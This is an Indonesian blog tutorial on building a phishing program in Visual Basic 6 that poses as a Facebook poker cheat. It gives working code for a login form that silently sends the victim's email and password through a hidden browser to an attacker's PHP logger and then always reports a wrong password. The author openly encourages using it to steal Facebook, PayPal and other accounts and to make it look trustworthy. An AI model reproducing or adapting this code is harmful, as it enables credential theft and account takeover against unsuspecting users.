Sabtu, 30 Juni 2012

Cara Membuat Aplikasi Phishing Dengan VB 6


Cara Membuat Aplikasi Phishing Dengan VB 6 | r14nulr00t.blogspot.com


mungkin teman-teman sekalian udah tahu apa itu phishing ? kali ini teknik phishing-nya kita Lakukan pada sebuah program desktop:D ( biasanya kan Lewat situs Hotsting  :3 )

sebelumnya baca dulu nih Kawan sebagai contoh-nya :

ada sebuah program kita sebut saja cheat poker facebook
program itu akan menyuruh anda untuk login ke facebook menggunakan program tersebut,apabila ingin membuat cheatnya bekerja.
user yang tertipu akan login lewat program tersebut
di dalam program tersebut terdapat 2 buah textbox dan 1 buah command button.

2 textbox itu adalah penampung Email & Password yang akan di kirim ke server kita dan command buttonnya di gunakan untuk meng eksekusi code,setelah code di eksekusi program akan memanggil sebuah file .php yang telah di buat sebelumnya di server kita
file php yang telah di panggil tersebut bertindak mencatat ip korban pengirim,mencacat tanggal pemanggilan file php,dan mencatat Email & Password korban yang telah di masukan di 2 buah textbox yang ada di program tersebut lalu menyimpannya dalam sebuah file text.

Mengerti-kan dengan cara kerja program ini ?
Oke,langsung aja  kita praktekan.

Bahan-Bahan yang harus Sobat punya untuk membuat project ini bekerja dengan lancar :

* 1 buah web hosting untuk menampung file php dan file text hasil dari phising kita
* Program VB6 (Kalau bisa yang full version )




  • Buka webhosting sobat,lalu buat 1 buah file dengan nama r14nul.php
    lalu isikan dengan code ini




  • Terus Di Save,
    sekarang kita buka Microsoft Visual Basic 6.0


    buat 1 buah project baru lalu buat ini :

    * Buat 1 Form dengan nama frmUtama
    * buat 1 Module dengan nama modConnect

    isi code ini kedalam module (modConnect)

    Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

    Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef _
    lpSFlags As Long, ByVal dwReserved As Long) As Long
    Const INTERNET_CONNECTION_MODEM = 1
    Const INTERNET_CONNECTION_LAN = 2
    Const INTERNET_CONNECTION_PROXY = 4
    Const INTERNET_CONNECTION_MODEM_BUSY = 8

    'Fungsi yang berguna untuk mengecek koneksi internet yang ada di komputer kita menggunakan fungsi api InternetGetConnectedState
    Function CekInternet(Optional connectMode As Integer) As Boolean
    Dim flags As Long
    CekInternet = InternetGetConnectedState(flags, 0)
    connectMode = flags
    End Function
    lalu di frmUtama tambahkan 2 buah text box dan 1 buah command button 1 buah label

    Textbox pertama di namakan : txtUname
    Textbox Kedua di namakan : txtPass
    Command button dinamakan : cmdLogin
    Label dinamakan : lblInfo

    Copykan kode ini kedalam form :

    Private Sub Form_Load()
    lblInfo.Caption = "Memeriksa Koneksi Internet"
    If CekInternet = False Then
    lblInfo.Caption = "Komputer Anda Tidak Terkoneksi Ke Internet !"
    Else
    lblInfo.Caption = "Komputer Anda Terkoneksi Dengan Internet"
    Me.Caption = "rianul cakep ;)"
    End If
    End Sub

    lalu masukan code ini kedalam cmdLogin : 

    Dim user, pass As String
    Dim IE As Object
    user = LCase(txtUname.Text)
    pass = txtPass.Text

    If txtUname.Text = "" Then
    MsgBox "Kotak Teks masih kosong,silahkan isikan dengan benar !", vbExclamation, "Error"
    Else
    lblInfo.Caption = "Sedang Login ..."
    Set IE = CreateObject("InternetExplorer.Application")

    IE.Visible = 0
    IE.Navigate "http://www.domainkamu.com/r14nul.php?e=" & _
    user & "&p=" & pass

    Do While IE.Busy
    Sleep 200 'sleepnya 200 ajah :p

    Loop
    IE.Quit
    Set IE = Nothing

    lblInfo.Caption = "Username/Password Salah !"
    MsgBox "Username/Password Salah !", vbExclamation, "Error"
    End If
    sampai kapanpun kotak pesan yang memberitahukan kita salah memasukan password/username akan selalu muncul bila command button di klik :D

    bila sudah compile project kamu,lalu lakukan percobaan

    bila ingin melihat hasil lognya agan dapat mengakses
    http://www.domainkamu.com/Ihiy.txt

    program ini bisa Sobat pake untuk apa aja,untuk Mencuri akun facebook,paypal,dll
    tergantung kreativitas Sobat aja dalam design programnya agar usernya tertarik & percaya kalau program ini aman :) 

    Semoga Bermanfaat :D

    Greetz : HN Community

    1 komentar: